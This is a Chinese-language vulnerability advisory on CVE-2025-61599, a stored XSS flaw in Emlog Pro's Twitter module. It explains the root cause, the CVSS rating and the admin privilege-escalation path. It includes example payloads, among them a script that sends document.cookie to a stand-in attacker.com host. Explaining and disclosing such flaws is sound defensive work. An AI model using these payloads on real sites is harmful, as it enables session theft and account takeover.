CVE-2025-61599CVE-2025-61599是Emlog Pro开源建站系统中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Emlog Pro 2.5.21及以下版本的"Twitter"(微博/碎语)功能模块中。Emlog是一款轻量级的开源博客与内容管理系统,广泛用于个人网站和小型企业建站。由于其Twitter功能未对用户提交的内容进行充分的输入过滤和输出编码,攻击者可以通过该功能注入恶意的JavaScript脚本代码。这些恶意脚本被持久化存储在服务器端,当任何用户(包括普通用户和管理员)点击查看包含恶意代码的Twitter帖子时,恶意脚本将在其浏览器中自动执行。由于该漏洞需要低权限认证用户即可触发,且影响范围可覆盖管理员账户,因此对系统安全构成实质性威胁。该漏洞CVSS 3.1评分为5.4分,属于中危级别,攻击向量为网络攻击,需要低权限认证和用户交互(点击恶意帖子),影响范围会发生改变(Scope Changed),对机密性和完整性造成低影响。截至漏洞披露时,官方尚未发布修复补丁。
该漏洞的根因在于Emlog Pro的Twitter功能模块在处理用户提交的帖子内容时,未对HTML标签和JavaScript代码进行适当的过滤与转义处理。具体技术原理如下:
1. **输入验证缺失**:当认证用户通过Twitter功能发布内容时,系统未对用户输入进行严格的输入验证和过滤,允许在帖子正文中嵌入HTML标签(如<script>、<img>、<svg>等)以及JavaScript事件处理器(如onerror、onload、onclick等)。
2. **输出编码缺失**:在将Twitter帖子内容渲染到页面时,系统未对存储的内容进行HTML实体编码(如将<转义为<),导致恶意脚本以原始形式输出到浏览器中。
3. **存储型触发机制**:恶意JavaScript代码随帖子一起持久化存储在服务器数据库中,属于存储型XSS(也称为持久型XSS),区别于反射型XSS无需诱导受害者点击特定链接。
4. **攻击利用方式**:攻击者以低权限用户身份登录后,在Twitter发布框中提交包含恶意脚本的内容,例如使用<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>等载荷。当管理员或其他用户浏览Twitter列表或点击查看该帖子时,恶意脚本在其浏览器上下文中执行,可窃取会话Cookie、CSRF Token,或执行管理员权限的操作(如创建后门账户、修改配置等)。
5. **权限提升路径**:由于管理员查看恶意帖子时脚本在其已认证的会话中执行,攻击者可利用此机制以管理员权限执行任意操作,实现从低权限用户到管理员的权限提升。